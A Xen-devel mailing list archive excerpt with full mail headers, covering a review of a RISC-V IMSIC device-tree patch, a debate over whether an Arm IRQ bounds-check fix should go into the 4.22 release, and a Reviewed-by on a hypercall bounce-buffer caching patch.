X-Gm-Gg: AfdE7clgNpoIy38SYHFpDwJ6hcCCOWVXVIwD+j64KMwK2Wkfs31qdcej3p17g1eiMsS
	qB/IYBDNtwbX5T9ri47cNh2joJsRMWWU5M/uf1wG/hkx7zQc3D2enJR5umVf3/5WkTu6/4UPLmJ
	SWYhDlSM2em2TI9dDkNIY78jj8qbeJpII2GqlWKJpdxbxUJiq4bq5vFTZ4dSxwhpFb7qjWE31Ol
	6AlFVf4Z7HYIuSihOqw2OsewW0kH/1ZsBsHr56MAbj/q1H+b8iKgM7PbQ0LdXcX43V+azS01aWW
	fcgzTpJFceiHV9MIZ9tSL8y8XPaaSQtEqBhe8g3W0tJ5TC4qN6eK657K64dlN26Zh7JZwhqRWC0
	sDVPcCnVVh1sAmisWY+9Wrq3E/tc/06g5uKU3hQeK3wU7afA4ORSuJA4IgeDWykkxos/PukeHYx
	O3jo5xuQrsgfTC5+pth2IyNs/m/QiMsPZ4A5MSm0hLOyxPYfu+Cqzudc+ao6FnMG5xCGY=
X-Received: by 2002:ac2:5b5a:0:b0:5ae:9be8:1ad7 with SMTP id 2adb3069b0e04-5b01c437315mr1660418e87.18.1783939304431;
        Mon, 13 Jul 2026 03:41:44 -0700 (PDT)
Message-ID: <edb627bb-1f22-48dd-b6ef-8c7621227161@gmail.com>
Date: Mon, 13 Jul 2026 12:41:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 19/26] xen/riscv: generate IMSIC DT node for guest
 domains
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <7af5bcc9ef818926f02244f5d566541da06a0a16.1783331040.git.oleksii.kurochko@gmail.com>
 <1649e30f-f470-40d9-a4a5-4189df18dd07@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <1649e30f-f470-40d9-a4a5-4189df18dd07@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1783939305-C1359CF4-2DFDC9AE/10/73395122804
X-purgate-type: spam
X-purgate-size: 4305



On 7/9/26 5:49 PM, Jan Beulich wrote:
> On 06.07.2026 17:58, Oleksii Kurochko wrote:
>> --- a/xen/arch/riscv/imsic.c
>> +++ b/xen/arch/riscv/imsic.c
>> @@ -13,8 +13,12 @@
>>   #include <xen/const.h>
>>   #include <xen/cpumask.h>
>>   #include <xen/device_tree.h>
>> +#include <xen/domain.h>
>>   #include <xen/errno.h>
>> +#include <xen/fdt-domain-build.h>
>> +#include <xen/fdt-kernel.h>
>>   #include <xen/init.h>
>> +#include <xen/libfdt/libfdt.h>
>>   #include <xen/macros.h>
>>   #include <xen/sched.h>
>>   #include <xen/smp.h>
>> @@ -34,6 +38,21 @@ static struct imsic_config imsic_cfg = {
>>       .lock = SPIN_LOCK_UNLOCKED,
>>   };
>>   
>> +/*
>> + * Number of MSIs available to a guest. Determined by the host interrupt
>> + * controller, so it is identical for every domain -- hence a single global
>> + * rather than a per-domain value.
>> + */
>> +static unsigned int __ro_after_init guest_num_msis;
>> +
>> +#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
>> +
>> +/*
>> + * Value is inspired by what QEMU is using for riscv,num-ids property for IMSIC
>> + * node.
>> + */
>> +#define GUEST_IMSIC_MAX_MSIS 255
> 
> #define GUEST_IMSIC_MAX_MSIS 255U
> 
> to avoid ...
> 
>> @@ -285,6 +304,13 @@ static int imsic_parse_node(const struct dt_device_node *node,
>>           return -ENOENT;
>>       }
>>   
>> +    if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
>> +        guest_num_msis = tmp;
>> +    else
>> +        guest_num_msis = IMSIC_MAX_ID;
>> +
>> +    guest_num_msis = min(GUEST_IMSIC_MAX_MSIS + 0U, guest_num_msis);
> 
> ... the "+ 0U" here?

Good point. I'll apply.

> 
> As to the use of IMSIC_MAX_ID - why not use GUEST_IMSIC_MAX_MSIS right away?
> Overall perhaps
> 
>      if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
>          guest_num_msis = min(GUEST_IMSIC_MAX_MSIS, tmp);
>      else
>          guest_num_msis = GUEST_IMSIC_MAX_MSIS;
> 
> ?

Agree, it would be better.

> 
>> @@ -522,3 +548,119 @@ int __init imsic_init(const struct dt_device_node *node)
>>   
>>       return rc;
>>   }
>> +
>> +static int __init guest_imsic_make_reg_property(struct domain *d, void *fdt)
>> +{
>> +    paddr_t size = IMSIC_MMIO_PAGE_SZ * d->max_vcpus;
>> +    __be32 regs[4] = {
>> +        cpu_to_be32(GUEST_IMSIC_S_BASE >> 32),
>> +        cpu_to_be32(GUEST_IMSIC_S_BASE),
>> +        cpu_to_be32(size >> 32),
>> +        cpu_to_be32(size),
>> +    };
>> +
>> +    return fdt_property(fdt, "reg", regs, sizeof(regs));
>> +}
>> +
>> +static int __init guest_imsic_set_interrupt_extended_prop(struct domain *d,
>> +                                                          void *fdt)
>> +{
>> +    unsigned int cpu, pos = 0;
>> +    __be32 *irq_ext;
>> +    int res;
>> +
>> +    irq_ext = xvzalloc_array(__be32, d->max_vcpus * 2);
>> +    if ( !irq_ext )
>> +        return -ENOMEM;
>> +
>> +    for ( cpu = 0; cpu < d->max_vcpus; cpu++ )
>> +    {
>> +        char buf[64];
>> +        uint32_t phandle;
>> +
>> +        snprintf(buf, ARRAY_SIZE(buf), "/cpus/cpu@%u/interrupt-controller", cpu);
>> +        phandle = fdt_get_phandle(fdt, fdt_path_offset(fdt, buf));
>> +
>> +        if ( !phandle )
>> +        {
>> +            res = -ENODEV;
>> +            goto out;
>> +        }
>> +
>> +        irq_ext[pos++] = cpu_to_be32(phandle);
>> +        irq_ext[pos++] = cpu_to_be32(IRQ_S_EXT);
>> +    }
>> +
>> +    res = fdt_property(fdt, "interrupts-extended", irq_ext,
>> +                       d->max_vcpus * 2 * sizeof(*irq_ext));
>> +
>> + out:
>> +    xvfree(irq_ext);
>> +
>> +    return res;
>> +}
>> +
>> +int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
>> +                                    unsigned int *phandle)
>> +{
>> +    int res;
>> +    void *fdt = kinfo->fdt;
>> +    char vimsic_name[32];
>> +    unsigned int vimsic_phandle;
>> +    res = snprintf(vimsic_name, sizeof(vimsic_name), "/soc/imsic@%lx",
>> +                   GUEST_IMSIC_S_BASE);
> 
> Blank line please between declaration(s) and statement(s). Also the revlog
> claims you switched to ARRAY_SIZE() everywhere, when really you didn't.

I will do that next patch series version.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 10:46:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 10:46:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361615.1613792 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjEBQ-0006nF-TV; Mon, 13 Jul 2026 10:46:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361615.1613792; Mon, 13 Jul 2026 10:46:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjEBQ-0006n8-Qv; Mon, 13 Jul 2026 10:46:44 +0000
Received: by outflank-mailman (input) for mailman id 1361615;
 Mon, 13 Jul 2026 10:46:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjEBP-0006n2-0q
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 10:46:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjEBL-007rEB-UH
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 12:46:39 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a54c202-2eae-0a2a0a5409dd-0a2a4506e73a-20
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 12:46:39 +0200
Received: from [209.85.208.172] (helo=mail-lj1-f172.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <xakep.amatop@gmail.com>)
 id 6a54c20f-0835-0a2a45060019-d155d0acd5fd-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 12:46:39 +0200
Received: by mail-lj1-f172.google.com with SMTP id
 38308e7fff4ca-39c86945164so22989231fa.1
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 03:46:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783939599; cv=none;
        d=google.com; s=arc-20260327;
        b=S2fh12dHQI2kWMFMH+i0VXoBMb91wKjf/LImJRFhzWowu4k5u/Bz3VUC/BoxyD9OcB
         25wbmqtdmoSPgT1joesNrteUM2aSS8sJLiBgnb0GrpP5VP8e9k/TjfK3hwhyzVuwZAlB
         UPkR1KWYUFnXYkYdDaqqKWnYGq2UbXVFTkzUPghBGBoCzskrcOWPYeMc0NPaPEUxIZ0i
         zXf5k7kqSwMEcdSxPGr3vc9sEoXdku8c7yM1W6pA2lAPBV5sDNSAQu4JBS/+aDSTL0Gs
         wffwa6mnkD/Ur4I+JVrQdc+skbBgUiIurgZNNUST2xjZkCxxT+25gvM0FAERFRO6QStN
         O+Fg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=iDB3+p5lwzfbkaqoV1rncrIre3UWi97X1aaumaM+hLc=;
        fh=MCAliuBSvUc8sa0isdVtlFj4rb5YczShrJEG40DSQwA=;
        b=VkHG7odkItD1/bwErxduSs9qCMvJUs8EhZZJZ/gtN90KMSsnRQ+qS4IIJFSLTCWXjV
         o9EX1p1hmdYIaz6DUDdEBbO8S0N5Z0BGEdAICilKzoFVMcrfBI9d1GwWcR9MQgh/Dup7
         zAkN24VNNhaJ/qMzw+g0VCav6rhXnR9pQo96c79SJJG5XPNIqUP8Uxp5FKlsNdjLe/W9
         n0KEKLUiYhmeHSyzKpoA+541eXfDGbYJbMMfHnbTLJrNhxSUHSx7WdBSjALC/Xk7SF1i
         +xRct4xItYiUZn0hBesrYKRuhOyZXbZwKCs4pj7GOq0TsM9+5IHBTrNL80+pPHR954yA
         Vpkg==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783939599; x=1784544399; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=iDB3+p5lwzfbkaqoV1rncrIre3UWi97X1aaumaM+hLc=;
        b=VFoNwkLS5MK54qi2QiVdJ2zPh1FB6zqdr9Gn6/9r4mzI/Zwi7cZWK30PrCVsvD6/VV
         5GOO0O6A1r4V1o8Qu51tEni0snoYwuljznzWmkSzrPCI7OVYgfCOA0xaO979ZonrO7XQ
         BA+LXI9zQ6QMJzv0HnGO/8xkXTf9Wjcgsly5iHntaFVkS9NFv+1TCCa8ZjtgV0DvTXl9
         YNhmRXu8LzyR5jQlz7iIJZUDfGQoTiJP4lH/mbrFLuqke6kv6zea6IKDFNHQyv7FSmAZ
         JzbwgYIb6iWK7hMv4RgrTtFecZu0boQLuBPblHoLOXymAqh30kWHTIRXrxwDpX5VUYyl
         445Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783939599; x=1784544399;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=iDB3+p5lwzfbkaqoV1rncrIre3UWi97X1aaumaM+hLc=;
        b=lW0A3TgczV31tuuGNewxYWEIZJVCJori6qQZ2fvHVNoumup+hpNE1QJGWMODWpnKXJ
         xEuMovwTcu73eJhsIuqT7ttp8iCEUAT3zlv2rlHLHqutR4fJxDnd8F+rkPbu/rAR0j7C
         IBccJRaEKPXuegEnYmNB+qY4ynPyDhYDSt34zfo0+2nZOjJyQsOxKkIMgEfUh4N2qf83
         2jILpzo/NWmYixDtV+7SETaQDIbpKnsyALlKsbF+wZzugpnI6QCXUyw7DWlspj0JB1Dm
         8fyrNp+LgPH+MRG3C/9RoZD+UcjuYrVB5+FXyMZD7kWxUxCABd5igj33knTkHKJNWDaw
         3+ug==
X-Forwarded-Encrypted: i=1; AHgh+RrikvouJioeEFFbIQzsMfjsmhIF+tUOkttavW8HF9hwB1zw3Rkl0M127uDPNGs489g2dztoWZ0agyk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxvVQba1SH0wBoIxF5KafeJE0h6aNjypbtJkEhSVs9aJVwgJbL9
	rZihLRF7Kmed/VdLdsl1Hs0qjSD/MbnpryzuvzKbOfUag2+/Qlw/MD7DCs0eSx/DQdikGiRUh0y
	ix2wnwRFHlKb5HM6mxCVdFiGkiqcSveg=
X-Gm-Gg: AfdE7cnUj3PlvlH7q5dAZk5FcdfRk5VnfBOD4xpJiaNmmoaHF0eEBCZIRazz2+8MgN2
	bD/N+MTs1LGuPmc+MFuSCI9zT0rqL4J5reNUi+EY+pLoKJb6k4mzPzN7dhFg/CMR8X4hNINE+/O
	wcHP5YK9sEAwR3P7H5Gi+uteDPNOqQ0LBFwMu7Q+xU28dRiozoVCCDVYS9Hb314sAHymzC1fBst
	XfOnB+LwCoHVoMVcv8JDOT9qkp+weet1GqoM1/fwrqjBK/ctmPaX2pP/8Fc22XDDxXAFeKbGGfm
	54jB
X-Received: by 2002:a05:651c:1b04:b0:39a:ea4e:7363 with SMTP id
 38308e7fff4ca-39caa10314cmr18567311fa.10.1783939598928; Mon, 13 Jul 2026
 03:46:38 -0700 (PDT)
MIME-Version: 1.0
References: <cover.1783671887.git.mykola_kvach@epam.com> <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com> <2ba97094-c9c8-461b-adc4-64cca978dd6a@amd.com>
 <u46k277cxsw53rb2d4pnxksbbwr35rjp54vwxqm2phbrp2ywll@etlvezzojxvi> <9a75baf4-b889-4f2d-8cfa-d8a229411b68@gmail.com>
In-Reply-To: <9a75baf4-b889-4f2d-8cfa-d8a229411b68@gmail.com>
From: Mykola Kvach <xakep.amatop@gmail.com>
Date: Mon, 13 Jul 2026 13:46:27 +0300
X-Gm-Features: AVVi8Ce6gqyo7KdYbM2ict3pETOgeww-GRzVL05_RJueL5lDIg1RHx7Mqs9CXiM
Message-ID: <CAGeoDV-wPnhUuC2XRndZNEJOSAC2-tkkTpUi-jKCRn5eiQG6Cw@mail.gmail.com>
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor lookup
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: "Orzel, Michal" <michal.orzel@amd.com>, xen-devel@lists.xenproject.org, 
	Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, 
	Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-16d1c6/1783939599-F8D44617-D5E1E2D1/10/73395122804
X-purgate-type: spam
X-purgate-size: 2598

Hi Oleksii,

Thank you for the review.

On Mon, Jul 13, 2026 at 10:39=E2=80=AFAM Oleksii Kurochko
<oleksii.kurochko@gmail.com> wrote:
>
>
>
> On 7/10/26 1:48 PM, Mykola Kvach wrote:
> > On Fri, Jul 10, 2026 at 12:44:44PM +0200, Orzel, Michal wrote:
> >> On a tangent note:
> >> I can see that you pushed quite a few "for-4.22" patches. We are appro=
aching the
> >> release, so afaict at this point we should only be taking crucial bug =
fixes.
> >> Moreover, when sending "for-X" patches, please include a description w=
ith your
> >> analyzed pros/cons of taking a patch in.
> >
> > Ack. I understand. For this patch specifically, I consider it a crucial
> > fix for 4.22 for the following reasons:
> >
> > Pros:
> > - It prevents an out-of-bounds irq_desc[] access which may corrupt Xen
> >    memory or crash the hypervisor.
> > - The issue was introduced by eSPI support already present in 4.22.
> > - The change is small, and valid IRQ handling remains unchanged.
> > - I tested CONFIG_GICV3_ESPI=3Dy and CONFIG_GICV3_ESPI=3Dn builds and
> >    reproduced the issue on FVP using a fake DT interrupt with reserved
> >    INTID 3000.
> >
> > Cons:
> > - The trigger requires either a malformed DT interrupt specifier, such
> >    as reserved INTID 3000, or an eSPI unsupported by the Xen build.
> > - The demonstrated failure used deliberate fault injection rather than
> >    a reported production failure.
> > - The patch adds validation to common Arm IRQ setup paths, although
> >    valid IRQs continue through the same path as before.
> >
> > Assessment:
> > The hypervisor memory-safety impact and the presence of the affected
> > eSPI code in 4.22 outweigh the limited regression risk.
> >
> > I will include this kind of pros/cons analysis with future for-X
> > submissions.
>
> It doesn't seem as critical. IIUC, exploiting this issue requires
> providing a malformed DT interrupt specifier. If the DT interrupt
> specifier is valid, the system should behave correctly.
>
> Given that we are very close to the release, I think it would be better
> to proceed without these changes. If the issue proves to be critical, we
> can backport the fixes afterward.

Okay, thanks.

What do you think about the second patch in this series? I believe it
is more critical. Unlike the first issue, it can be triggered with a
valid eSPI configuration: freeing a valid eSPI uses the raw INTID as
the bitmap index, causing an out-of-bounds access that may corrupt
memory.

Could it still be considered for 4.22?

Best regards,
Mykola


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 12:37:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 12:37:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361649.1613806 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjFuG-0003SK-N0; Mon, 13 Jul 2026 12:37:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361649.1613806; Mon, 13 Jul 2026 12:37:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjFuG-0003SD-KT; Mon, 13 Jul 2026 12:37:08 +0000
Received: by outflank-mailman (input) for mailman id 1361649;
 Mon, 13 Jul 2026 12:37:07 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5b7b1e60000edb5@swg.vates.tech>)
 id 1wjFuE-0003S7-Ff
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 12:37:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjFuD-008CUi-OM
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 14:37:05 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5b7b1e60000edb5@swg.vates.tech>)
 id 6a54dbeb-e002-0a2a0a5209dd-0a2a45039dd0-24
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:37:05 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f5b7b1e60000edb5@swg.vates.tech>)
 id 6a54dbf0-f2d2-0a2a45030019-b9ff1c2384bd-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:37:05 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f5b7b1e60000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 13 Jul 2026 12:37:03 +0000
Received: from l14 (unknown [82.67.99.167])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5E85B81F9E;
 Mon, 13 Jul 2026 14:37:02 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=+kj2FEPWo6JQgweJqlZj0n6FZdXfSGmHGQdXtO98Yvk=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=KPbGYLdA2t6WRFc050WbX9t6/Sa4G0PTuUQcLWd7EUWgPjNDUrjX3E1sLXy3LTt7SubvJJxIJ
 vWLLLBlZcXiKUJAN5UyB3R/Ig2X9RFlgNrIAw5g6/eRfd5gPYLoP1GKQ/GmPClKJKqr/5Br8iJe
 BGbXDMNTBt6m1XkaS/ZvGVMswSayiG7fNKac/UsYhLnZFbIaw5DlSDlwWd0mgUpUVXkO4FUcWOT
 C6ZOEGr2wuNCrC2qQb91HHbnj+LgLe7nY+PWU5+ySlB9aBS1FsJnj3JlyFzpF08n2JVEgvlm9uw
 Nzt057GZe+o/aMsKhe7chirq8Zns3mL5zDU6ozNc1wKA==
X-Zone-Loop: 8591252e27381804ed49626e646ecacfef2463a158e5
x-campaign-type: default
x-transaction-id: 5014c05e-2c25-4a1a-9518-46c0efb40ae6
x-swg-uid: 01-bb4b480e-7e0c-4071-bb26-11cfb4ce95df
X-Mailer: Sweego
Message-ID:
 <1783946223.8631fc262581453bbf619ec5b2062170.19f5b7b1e60000edb5@vates.tech>
x-swg-bid: 1783946223.8631fc262581453bbf619ec5b2062170.19f5b7b1e60000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 13 Jul 2026 14:37:02 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v8 1/4] libs/call: cache up to 4 pages in hypercall
 bounce buffers
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
 <20260711212128.505727-2-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260711212128.505727-2-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.700.91d9d5d2a9657446.19f5b7b1c11.cfaa172025315b39=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783946222610
X-purgate-ID: tlsNG-33051d/1783946225-CA351CF4-9D286708/0/0
X-purgate-type: clean
X-purgate-size: 1175

---=Part.700.91d9d5d2a9657446.19f5b7b1c11.cfaa172025315b39=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Sat, Jul 11, 2026 at 10:21:25PM +0100, Frediano Ziglio wrote:
> From: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
>=20
> During migration there are a lot of mmap/munmap calls,
> because xc_get_pfn_type_batch() exceeds the default hypercall bounce
> buffer cache size, and needs to allocate every time it is called=2E
>=20
> munmap() is slow, especially in a PV Dom0 (takes an emulation fault),
> so is best avoided=2E
>=20
> Eventually it'd be good if the memory pool from  xmalloc_tlsf=2Ec
> was reused here, but for now make it handle the commonly encountered
> sizes (so far up to 4 pages)=2E
>=20
> Signed-off-by: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@citrix=2Ecom>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.700.91d9d5d2a9657446.19f5b7b1c11.cfaa172025315b39=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 13:43:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 13:43:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361677.1613820 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjGwI-0003Z6-Dy; Mon, 13 Jul 2026 13:43:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361677.1613820; Mon, 13 Jul 2026 13:43:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjGwI-0003Yz-B9; Mon, 13 Jul 2026 13:43:18 +0000
Received: by outflank-mailman (input) for mailman id 1361677;
 Mon, 13 Jul 2026 13:43:17 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjGwH-0003Yd-3J
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 13:43:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjGwG-0058LF-4S
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 15:43:16 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54eb6d-e002-0a2a0a5209dd-0a2a4508d08a-22
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 15:43:16 +0200
Received: from [209.85.208.177] (helo=mail-lj1-f177.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a54eb73-ee29-0a2a45080019-d155d0b1c0d1-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 15:43:15 +0200
Received: by mail-lj1-f177.google.com with SMTP id
 38308e7fff4ca-39c923b8c2aso28078041fa.2
